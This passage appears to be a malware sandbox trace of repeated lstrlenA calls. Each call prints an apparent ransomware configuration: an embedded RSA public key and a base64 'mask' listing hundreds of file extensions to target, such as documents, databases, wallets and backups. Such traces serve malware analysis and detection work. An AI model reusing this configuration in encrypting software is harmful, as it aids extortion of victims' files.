iwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4